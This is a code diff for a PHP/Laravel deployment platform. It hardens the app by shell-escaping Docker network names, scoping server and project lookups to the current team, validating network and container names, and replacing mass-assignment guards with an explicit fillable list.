$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}");
|
||||
}
|
||||
} else {
|
||||
// Traditional build with args
|
||||
if ($this->force_rebuild) {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}");
|
||||
}
|
||||
}
|
||||
$base64_build_command = base64_encode($build_command);
|
||||
|
|
|
|||
|
|
@ -678,6 +678,7 @@ private function upload_to_s3(): void
|
|||
} else {
|
||||
$network = $this->database->destination->network;
|
||||
}
|
||||
$safeNetwork = escapeshellarg($network);
|
||||
|
||||
$fullImageName = $this->getFullImageName();
|
||||
|
||||
|
|
@ -689,13 +690,13 @@ private function upload_to_s3(): void
|
|||
if (isDev()) {
|
||||
if ($this->database->name === 'coolify-db') {
|
||||
$backup_location_from = '/var/lib/docker/volumes/coolify_dev_backups_data/_data/coolify/coolify-db-'.$this->server->ip.$this->backup_file;
|
||||
$commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}";
|
||||
$commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}";
|
||||
} else {
|
||||
$backup_location_from = '/var/lib/docker/volumes/coolify_dev_backups_data/_data/databases/'.str($this->team->name)->slug().'-'.$this->team->id.'/'.$this->directory_name.$this->backup_file;
|
||||
$commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}";
|
||||
$commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}";
|
||||
}
|
||||
} else {
|
||||
$commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}";
|
||||
$commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}";
|
||||
}
|
||||
|
||||
// Escape S3 credentials to prevent command injection
|
||||
|
|
|
|||
|
|
@ -121,7 +121,7 @@ public function mount()
|
|||
}
|
||||
|
||||
if ($this->selectedExistingServer) {
|
||||
$this->createdServer = Server::find($this->selectedExistingServer);
|
||||
$this->createdServer = Server::ownedByCurrentTeam()->find($this->selectedExistingServer);
|
||||
if ($this->createdServer) {
|
||||
$this->serverPublicKey = $this->createdServer->privateKey->getPublicKey();
|
||||
$this->updateServerDetails();
|
||||
|
|
@ -145,7 +145,7 @@ public function mount()
|
|||
}
|
||||
|
||||
if ($this->selectedProject) {
|
||||
$this->createdProject = Project::find($this->selectedProject);
|
||||
$this->createdProject = Project::ownedByCurrentTeam()->find($this->selectedProject);
|
||||
if (! $this->createdProject) {
|
||||
$this->projects = Project::ownedByCurrentTeam(['name'])->get();
|
||||
}
|
||||
|
|
@ -431,7 +431,10 @@ public function getProjects()
|
|||
|
||||
public function selectExistingProject()
|
||||
{
|
||||
$this->createdProject = Project::find($this->selectedProject);
|
||||
$this->createdProject = Project::ownedByCurrentTeam()->find($this->selectedProject);
|
||||
if (! $this->createdProject) {
|
||||
return $this->dispatch('error', 'Project not found.');
|
||||
}
|
||||
$this->currentState = 'create-resource';
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -5,6 +5,7 @@
|
|||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\SwarmDocker;
|
||||
use App\Support\ValidationPatterns;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Attributes\Validate;
|
||||
|
|
@ -24,7 +25,7 @@ class Docker extends Component
|
|||
#[Validate(['required', 'string'])]
|
||||
public string $name;
|
||||
|
||||
#[Validate(['required', 'string'])]
|
||||
#[Validate(['required', 'string', 'max:255', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'])]
|
||||
public string $network;
|
||||
|
||||
#[Validate(['required', 'string'])]
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ class Show extends Component
|
|||
#[Validate(['string', 'required'])]
|
||||
public string $name;
|
||||
|
||||
#[Validate(['string', 'required'])]
|
||||
#[Validate(['string', 'required', 'max:255', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'])]
|
||||
public string $network;
|
||||
|
||||
#[Validate(['string', 'required'])]
|
||||
|
|
@ -84,8 +84,9 @@ public function delete()
|
|||
if ($this->destination->attachedTo()) {
|
||||
return $this->dispatch('error', 'You must delete all resources before deleting this destination.');
|
||||
}
|
||||
instant_remote_process(["docker network disconnect {$this->destination->network} coolify-proxy"], $this->destination->server, throwError: false);
|
||||
instant_remote_process(['docker network rm -f '.$this->destination->network], $this->destination->server);
|
||||
$safeNetwork = escapeshellarg($this->destination->network);
|
||||
instant_remote_process(["docker network disconnect {$safeNetwork} coolify-proxy"], $this->destination->server, throwError: false);
|
||||
instant_remote_process(["docker network rm -f {$safeNetwork}"], $this->destination->server);
|
||||
}
|
||||
$this->destination->delete();
|
||||
|
||||
|
|
|
|||
|
|
@ -1203,7 +1203,7 @@ public function selectServer($serverId, $shouldProgress = true)
|
|||
public function loadDestinations()
|
||||
{
|
||||
$this->loadingDestinations = true;
|
||||
$server = Server::find($this->selectedServerId);
|
||||
$server = Server::ownedByCurrentTeam()->find($this->selectedServerId);
|
||||
|
||||
if (! $server) {
|
||||
$this->loadingDestinations = false;
|
||||
|
|
@ -1280,7 +1280,7 @@ public function selectProject($projectUuid, $shouldProgress = true)
|
|||
public function loadEnvironments()
|
||||
{
|
||||
$this->loadingEnvironments = true;
|
||||
$project = Project::where('uuid', $this->selectedProjectUuid)->first();
|
||||
$project = Project::ownedByCurrentTeam()->where('uuid', $this->selectedProjectUuid)->first();
|
||||
|
||||
if (! $project) {
|
||||
$this->loadingEnvironments = false;
|
||||
|
|
|
|||
|
|
@ -735,6 +735,7 @@ public function setRedirect()
|
|||
$this->authorize('update', $this->application);
|
||||
|
||||
try {
|
||||
$this->application->redirect = $this->redirect;
|
||||
$has_www = collect($this->application->fqdns)->filter(fn ($fqdn) => str($fqdn)->contains('www.'))->count();
|
||||
if ($has_www === 0 && $this->application->redirect === 'www') {
|
||||
$this->dispatch('error', 'You want to redirect to www, but you do not have a www domain set.<br><br>Please add www to your domain list and as an A DNS record (if applicable).');
|
||||
|
|
|
|||
|
|
@ -54,7 +54,7 @@ protected function messages(): array
|
|||
public function mount($project_uuid)
|
||||
{
|
||||
$this->project_uuid = $project_uuid;
|
||||
$this->project = Project::where('uuid', $project_uuid)->firstOrFail();
|
||||
$this->project = Project::ownedByCurrentTeam()->where('uuid', $project_uuid)->firstOrFail();
|
||||
$this->environment = $this->project->environments->where('uuid', $this->environment_uuid)->first();
|
||||
$this->project_id = $this->project->id;
|
||||
$this->servers = currentTeam()
|
||||
|
|
@ -139,7 +139,7 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'uuid' => $uuid,
|
||||
'status' => 'exited',
|
||||
'started_at' => null,
|
||||
|
|
@ -187,7 +187,8 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
'uuid',
|
||||
])->forceFill([
|
||||
'name' => $newName,
|
||||
'resource_id' => $newDatabase->id,
|
||||
]);
|
||||
|
|
@ -216,7 +217,7 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'resource_id' => $newDatabase->id,
|
||||
]);
|
||||
$newStorage->save();
|
||||
|
|
@ -229,7 +230,7 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'uuid' => $uuid,
|
||||
'database_id' => $newDatabase->id,
|
||||
'database_type' => $newDatabase->getMorphClass(),
|
||||
|
|
@ -247,7 +248,7 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill($payload);
|
||||
])->forceFill($payload);
|
||||
$newEnvironmentVariable->save();
|
||||
}
|
||||
}
|
||||
|
|
@ -258,7 +259,7 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'uuid' => $uuid,
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $this->selectedDestination,
|
||||
|
|
@ -276,7 +277,7 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'uuid' => (string) new Cuid2,
|
||||
'service_id' => $newService->id,
|
||||
'team_id' => currentTeam()->id,
|
||||
|
|
@ -290,7 +291,7 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'resourceable_id' => $newService->id,
|
||||
'resourceable_type' => $newService->getMorphClass(),
|
||||
]);
|
||||
|
|
@ -298,9 +299,9 @@ public function clone(string $type)
|
|||
}
|
||||
|
||||
foreach ($newService->applications() as $application) {
|
||||
$application->update([
|
||||
$application->forceFill([
|
||||
'status' => 'exited',
|
||||
]);
|
||||
])->save();
|
||||
|
||||
$persistentVolumes = $application->persistentStorages()->get();
|
||||
foreach ($persistentVolumes as $volume) {
|
||||
|
|
@ -315,7 +316,8 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
'uuid',
|
||||
])->forceFill([
|
||||
'name' => $newName,
|
||||
'resource_id' => $application->id,
|
||||
]);
|
||||
|
|
@ -344,7 +346,7 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'resource_id' => $application->id,
|
||||
]);
|
||||
$newStorage->save();
|
||||
|
|
@ -352,9 +354,9 @@ public function clone(string $type)
|
|||
}
|
||||
|
||||
foreach ($newService->databases() as $database) {
|
||||
$database->update([
|
||||
$database->forceFill([
|
||||
'status' => 'exited',
|
||||
]);
|
||||
])->save();
|
||||
|
||||
$persistentVolumes = $database->persistentStorages()->get();
|
||||
foreach ($persistentVolumes as $volume) {
|
||||
|
|
@ -369,7 +371,8 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
'uuid',
|
||||
])->forceFill([
|
||||
'name' => $newName,
|
||||
'resource_id' => $database->id,
|
||||
]);
|
||||
|
|
@ -398,7 +401,7 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'resource_id' => $database->id,
|
||||
]);
|
||||
$newStorage->save();
|
||||
|
|
@ -411,7 +414,7 @@ public function clone(string $type)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'uuid' => $uuid,
|
||||
'database_id' => $database->id,
|
||||
'database_type' => $database->getMorphClass(),
|
||||
|
|
|
|||
|
|
@ -21,7 +21,7 @@ class DeleteProject extends Component
|
|||
public function mount()
|
||||
{
|
||||
$this->parameters = get_route_parameters();
|
||||
$this->projectName = Project::findOrFail($this->project_id)->name;
|
||||
$this->projectName = Project::ownedByCurrentTeam()->findOrFail($this->project_id)->name;
|
||||
}
|
||||
|
||||
public function delete()
|
||||
|
|
@ -29,7 +29,7 @@ public function delete()
|
|||
$this->validate([
|
||||
'project_id' => 'required|int',
|
||||
]);
|
||||
$project = Project::findOrFail($this->project_id);
|
||||
$project = Project::ownedByCurrentTeam()->findOrFail($this->project_id);
|
||||
$this->authorize('delete', $project);
|
||||
|
||||
if ($project->isEmpty()) {
|
||||
|
|
|
|||
|
|
@ -41,8 +41,8 @@ public function submit()
|
|||
// Validate for command injection BEFORE saving to database
|
||||
validateDockerComposeForInjection($this->dockerComposeRaw);
|
||||
|
||||
$project = Project::where('uuid', $this->parameters['project_uuid'])->first();
|
||||
$environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first();
|
||||
$project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail();
|
||||
$environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail();
|
||||
|
||||
$destination_uuid = $this->query['destination'];
|
||||
$destination = StandaloneDocker::where('uuid', $destination_uuid)->first();
|
||||
|
|
|
|||
|
|
@ -121,8 +121,8 @@ public function submit()
|
|||
}
|
||||
$destination_class = $destination->getMorphClass();
|
||||
|
||||
$project = Project::where('uuid', $this->parameters['project_uuid'])->first();
|
||||
$environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first();
|
||||
$project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail();
|
||||
$environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail();
|
||||
|
||||
// Append @sha256 to image name if using digest and not already present
|
||||
$imageName = $parser->getFullImageNameWithoutTag();
|
||||
|
|
|
|||
|
|
@ -185,8 +185,8 @@ public function submit()
|
|||
}
|
||||
$destination_class = $destination->getMorphClass();
|
||||
|
||||
$project = Project::where('uuid', $this->parameters['project_uuid'])->first();
|
||||
$environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first();
|
||||
$project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail();
|
||||
$environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail();
|
||||
|
||||
$application = Application::create([
|
||||
'name' => generate_application_name($this->selected_repository_owner.'/'.$this->selected_repository_repo, $this->selected_branch_name),
|
||||
|
|
|
|||
|
|
@ -144,8 +144,8 @@ public function submit()
|
|||
// Note: git_repository has already been validated and transformed in get_git_source()
|
||||
// It may now be in SSH format (git@host:repo.git) which is valid for deploy keys
|
||||
|
||||
$project = Project::where('uuid', $this->parameters['project_uuid'])->first();
|
||||
$environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first();
|
||||
$project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail();
|
||||
$environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail();
|
||||
if ($this->git_source === 'other') {
|
||||
$application_init = [
|
||||
'name' => generate_random_name(),
|
||||
|
|
|
|||
|
|
@ -278,8 +278,8 @@ public function submit()
|
|||
}
|
||||
$destination_class = $destination->getMorphClass();
|
||||
|
||||
$project = Project::where('uuid', $project_uuid)->first();
|
||||
$environment = $project->load(['environments'])->environments->where('uuid', $environment_uuid)->first();
|
||||
$project = Project::ownedByCurrentTeam()->where('uuid', $project_uuid)->firstOrFail();
|
||||
$environment = $project->environments()->where('uuid', $environment_uuid)->firstOrFail();
|
||||
|
||||
if ($this->build_pack === 'dockercompose' && isDev() && $this->new_compose_services) {
|
||||
$server = $destination->server;
|
||||
|
|
|
|||
|
|
@ -65,7 +65,7 @@ public function mount()
|
|||
$this->existingPostgresqlUrl = 'postgres://coolify:password@coolify-db:5432';
|
||||
}
|
||||
$projectUuid = data_get($this->parameters, 'project_uuid');
|
||||
$project = Project::whereUuid($projectUuid)->firstOrFail();
|
||||
$project = Project::ownedByCurrentTeam()->whereUuid($projectUuid)->firstOrFail();
|
||||
$this->environments = $project->environments;
|
||||
$this->selectedEnvironment = $this->environments->where('uuid', data_get($this->parameters, 'environment_uuid'))->firstOrFail()->name;
|
||||
|
||||
|
|
@ -79,7 +79,7 @@ public function mount()
|
|||
$this->type = $queryType;
|
||||
$this->server_id = $queryServerId;
|
||||
$this->destination_uuid = $queryDestination;
|
||||
$this->server = Server::find($queryServerId);
|
||||
$this->server = Server::ownedByCurrentTeam()->find($queryServerId);
|
||||
$this->current_step = 'select-postgresql-type';
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
|
|
|
|||
|
|
@ -45,8 +45,8 @@ public function submit()
|
|||
}
|
||||
$destination_class = $destination->getMorphClass();
|
||||
|
||||
$project = Project::where('uuid', $this->parameters['project_uuid'])->first();
|
||||
$environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first();
|
||||
$project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail();
|
||||
$environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail();
|
||||
|
||||
$port = get_port_from_dockerfile($this->dockerfile);
|
||||
if (! $port) {
|
||||
|
|
|
|||
|
|
@ -16,7 +16,9 @@
|
|||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\StandaloneRedis;
|
||||
use App\Support\ValidationPatterns;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Component;
|
||||
|
||||
class GetLogs extends Component
|
||||
|
|
@ -29,12 +31,16 @@ class GetLogs extends Component
|
|||
|
||||
public string $errors = '';
|
||||
|
||||
#[Locked]
|
||||
public Application|Service|StandalonePostgresql|StandaloneRedis|StandaloneMongodb|StandaloneMysql|StandaloneMariadb|StandaloneKeydb|StandaloneDragonfly|StandaloneClickhouse|null $resource = null;
|
||||
|
||||
#[Locked]
|
||||
public ServiceApplication|ServiceDatabase|null $servicesubtype = null;
|
||||
|
||||
#[Locked]
|
||||
public Server $server;
|
||||
|
||||
#[Locked]
|
||||
public ?string $container = null;
|
||||
|
||||
public ?string $displayName = null;
|
||||
|
|
@ -54,7 +60,7 @@ class GetLogs extends Component
|
|||
public function mount()
|
||||
{
|
||||
if (! is_null($this->resource)) {
|
||||
if ($this->resource->getMorphClass() === \App\Models\Application::class) {
|
||||
if ($this->resource->getMorphClass() === Application::class) {
|
||||
$this->showTimeStamps = $this->resource->settings->is_include_timestamps;
|
||||
} else {
|
||||
if ($this->servicesubtype) {
|
||||
|
|
@ -63,7 +69,7 @@ public function mount()
|
|||
$this->showTimeStamps = $this->resource->is_include_timestamps;
|
||||
}
|
||||
}
|
||||
if ($this->resource?->getMorphClass() === \App\Models\Application::class) {
|
||||
if ($this->resource?->getMorphClass() === Application::class) {
|
||||
if (str($this->container)->contains('-pr-')) {
|
||||
$this->pull_request = 'Pull Request: '.str($this->container)->afterLast('-pr-')->beforeLast('_')->value();
|
||||
}
|
||||
|
|
@ -74,11 +80,11 @@ public function mount()
|
|||
public function instantSave()
|
||||
{
|
||||
if (! is_null($this->resource)) {
|
||||
if ($this->resource->getMorphClass() === \App\Models\Application::class) {
|
||||
if ($this->resource->getMorphClass() === Application::class) {
|
||||
$this->resource->settings->is_include_timestamps = $this->showTimeStamps;
|
||||
$this->resource->settings->save();
|
||||
}
|
||||
if ($this->resource->getMorphClass() === \App\Models\Service::class) {
|
||||
if ($this->resource->getMorphClass() === Service::class) {
|
||||
$serviceName = str($this->container)->beforeLast('-')->value();
|
||||
$subType = $this->resource->applications()->where('name', $serviceName)->first();
|
||||
if ($subType) {
|
||||
|
|
@ -118,10 +124,20 @@ public function toggleStreamLogs()
|
|||
|
||||
public function getLogs($refresh = false)
|
||||
{
|
||||
if (! Server::ownedByCurrentTeam()->where('id', $this->server->id)->exists()) {
|
||||
$this->outputs = 'Unauthorized.';
|
||||
|
||||
return;
|
||||
}
|
||||
if (! $this->server->isFunctional()) {
|
||||
return;
|
||||
}
|
||||
if (! $refresh && ! $this->expandByDefault && ($this->resource?->getMorphClass() === \App\Models\Service::class || str($this->container)->contains('-pr-'))) {
|
||||
if ($this->container && ! ValidationPatterns::isValidContainerName($this->container)) {
|
||||
$this->outputs = 'Invalid container name.';
|
||||
|
||||
return;
|
||||
}
|
||||
if (! $refresh && ! $this->expandByDefault && ($this->resource?->getMorphClass() === Service::class || str($this->container)->contains('-pr-'))) {
|
||||
return;
|
||||
}
|
||||
if ($this->numberOfLines <= 0 || is_null($this->numberOfLines)) {
|
||||
|
|
@ -194,9 +210,15 @@ public function copyLogs(): string
|
|||
|
||||
public function downloadAllLogs(): string
|
||||
{
|
||||
if (! Server::ownedByCurrentTeam()->where('id', $this->server->id)->exists()) {
|
||||
return '';
|
||||
}
|
||||
if (! $this->server->isFunctional() || ! $this->container) {
|
||||
return '';
|
||||
}
|
||||
if (! ValidationPatterns::isValidContainerName($this->container)) {
|
||||
return '';
|
||||
}
|
||||
|
||||
if ($this->showTimeStamps) {
|
||||
if ($this->server->isSwarm()) {
|
||||
|
|
|
|||
|
|
@ -7,9 +7,18 @@
|
|||
use App\Actions\Service\StartService;
|
||||
use App\Actions\Service\StopService;
|
||||
use App\Jobs\VolumeCloneJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\StandaloneClickhouse;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandaloneDragonfly;
|
||||
use App\Models\StandaloneKeydb;
|
||||
use App\Models\StandaloneMariadb;
|
||||
use App\Models\StandaloneMongodb;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\StandaloneRedis;
|
||||
use App\Models\SwarmDocker;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Livewire\Component;
|
||||
|
|
@ -60,7 +69,7 @@ public function cloneTo($destination_id)
|
|||
$uuid = (string) new Cuid2;
|
||||
$server = $new_destination->server;
|
||||
|
||||
if ($this->resource->getMorphClass() === \App\Models\Application::class) {
|
||||
if ($this->resource->getMorphClass() === Application::class) {
|
||||
$new_resource = clone_application($this->resource, $new_destination, ['uuid' => $uuid], $this->cloneVolumeData);
|
||||
|
||||
$route = route('project.application.configuration', [
|
||||
|
|
@ -71,21 +80,21 @@ public function cloneTo($destination_id)
|
|||
|
||||
return redirect()->to($route);
|
||||
} elseif (
|
||||
$this->resource->getMorphClass() === \App\Models\StandalonePostgresql::class ||
|
||||
$this->resource->getMorphClass() === \App\Models\StandaloneMongodb::class ||
|
||||
$this->resource->getMorphClass() === \App\Models\StandaloneMysql::class ||
|
||||
$this->resource->getMorphClass() === \App\Models\StandaloneMariadb::class ||
|
||||
$this->resource->getMorphClass() === \App\Models\StandaloneRedis::class ||
|
||||
$this->resource->getMorphClass() === \App\Models\StandaloneKeydb::class ||
|
||||
$this->resource->getMorphClass() === \App\Models\StandaloneDragonfly::class ||
|
||||
$this->resource->getMorphClass() === \App\Models\StandaloneClickhouse::class
|
||||
$this->resource->getMorphClass() === StandalonePostgresql::class ||
|
||||
$this->resource->getMorphClass() === StandaloneMongodb::class ||
|
||||
$this->resource->getMorphClass() === StandaloneMysql::class ||
|
||||
$this->resource->getMorphClass() === StandaloneMariadb::class ||
|
||||
$this->resource->getMorphClass() === StandaloneRedis::class ||
|
||||
$this->resource->getMorphClass() === StandaloneKeydb::class ||
|
||||
$this->resource->getMorphClass() === StandaloneDragonfly::class ||
|
||||
$this->resource->getMorphClass() === StandaloneClickhouse::class
|
||||
) {
|
||||
$uuid = (string) new Cuid2;
|
||||
$new_resource = $this->resource->replicate([
|
||||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'uuid' => $uuid,
|
||||
'name' => $this->resource->name.'-clone-'.$uuid,
|
||||
'status' => 'exited',
|
||||
|
|
@ -133,7 +142,8 @@ public function cloneTo($destination_id)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
'uuid',
|
||||
])->forceFill([
|
||||
'name' => $newName,
|
||||
'resource_id' => $new_resource->id,
|
||||
]);
|
||||
|
|
@ -162,7 +172,7 @@ public function cloneTo($destination_id)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'resource_id' => $new_resource->id,
|
||||
]);
|
||||
$newStorage->save();
|
||||
|
|
@ -175,7 +185,7 @@ public function cloneTo($destination_id)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'uuid' => $uuid,
|
||||
'database_id' => $new_resource->id,
|
||||
'database_type' => $new_resource->getMorphClass(),
|
||||
|
|
@ -194,7 +204,7 @@ public function cloneTo($destination_id)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill($payload);
|
||||
])->forceFill($payload);
|
||||
$newEnvironmentVariable->save();
|
||||
}
|
||||
|
||||
|
|
@ -211,7 +221,7 @@ public function cloneTo($destination_id)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'uuid' => $uuid,
|
||||
'name' => $this->resource->name.'-clone-'.$uuid,
|
||||
'destination_id' => $new_destination->id,
|
||||
|
|
@ -232,7 +242,7 @@ public function cloneTo($destination_id)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'uuid' => (string) new Cuid2,
|
||||
'service_id' => $new_resource->id,
|
||||
'team_id' => currentTeam()->id,
|
||||
|
|
@ -246,7 +256,7 @@ public function cloneTo($destination_id)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
])->forceFill([
|
||||
'resourceable_id' => $new_resource->id,
|
||||
'resourceable_type' => $new_resource->getMorphClass(),
|
||||
]);
|
||||
|
|
@ -254,9 +264,9 @@ public function cloneTo($destination_id)
|
|||
}
|
||||
|
||||
foreach ($new_resource->applications() as $application) {
|
||||
$application->update([
|
||||
$application->forceFill([
|
||||
'status' => 'exited',
|
||||
]);
|
||||
])->save();
|
||||
|
||||
$persistentVolumes = $application->persistentStorages()->get();
|
||||
foreach ($persistentVolumes as $volume) {
|
||||
|
|
@ -271,7 +281,8 @@ public function cloneTo($destination_id)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
'uuid',
|
||||
])->forceFill([
|
||||
'name' => $newName,
|
||||
'resource_id' => $application->id,
|
||||
]);
|
||||
|
|
@ -296,9 +307,9 @@ public function cloneTo($destination_id)
|
|||
}
|
||||
|
||||
foreach ($new_resource->databases() as $database) {
|
||||
$database->update([
|
||||
$database->forceFill([
|
||||
'status' => 'exited',
|
||||
]);
|
||||
])->save();
|
||||
|
||||
$persistentVolumes = $database->persistentStorages()->get();
|
||||
foreach ($persistentVolumes as $volume) {
|
||||
|
|
@ -313,7 +324,8 @@ public function cloneTo($destination_id)
|
|||
'id',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
])->fill([
|
||||
'uuid',
|
||||
])->forceFill([
|
||||
'name' => $newName,
|
||||
'resource_id' => $database->id,
|
||||
]);
|
||||
|
|
@ -354,9 +366,9 @@ public function moveTo($environment_id)
|
|||
try {
|
||||
$this->authorize('update', $this->resource);
|
||||
$new_environment = Environment::ownedByCurrentTeam()->findOrFail($environment_id);
|
||||
$this->resource->update([
|
||||
$this->resource->forceFill([
|
||||
'environment_id' => $environment_id,
|
||||
]);
|
||||
])->save();
|
||||
if ($this->resource->type() === 'application') {
|
||||
$route = route('project.application.configuration', [
|
||||
'project_uuid' => $new_environment->project->uuid,
|
||||
|
|
|
|||
|
|
@ -118,7 +118,92 @@ class Application extends BaseModel
|
|||
|
||||
private static $parserVersion = '5';
|
||||
|
||||
protected $guarded = [];
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'description',
|
||||
'fqdn',
|
||||
'git_repository',
|
||||
'git_branch',
|
||||
'git_commit_sha',
|
||||
'git_full_url',
|
||||
'docker_registry_image_name',
|
||||
'docker_registry_image_tag',
|
||||
'build_pack',
|
||||
'static_image',
|
||||
'install_command',
|
||||
'build_command',
|
||||
'start_command',
|
||||
'ports_exposes',
|
||||
'ports_mappings',
|
||||
'base_directory',
|
||||
